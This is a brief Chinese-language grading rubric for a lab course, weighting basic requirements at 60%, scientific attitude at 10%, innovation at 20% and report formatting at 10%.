评价表格 : 考核标准 得分 (1) 实现实践要求基本内容 (60%); (2) 实验过程中, 具有严谨的学习态度和认真 踏实 一丝不苟的科学作风 (10%); (3) 所做实验具有一定的创新性 (20%); (4) 实验报告规范 (10%)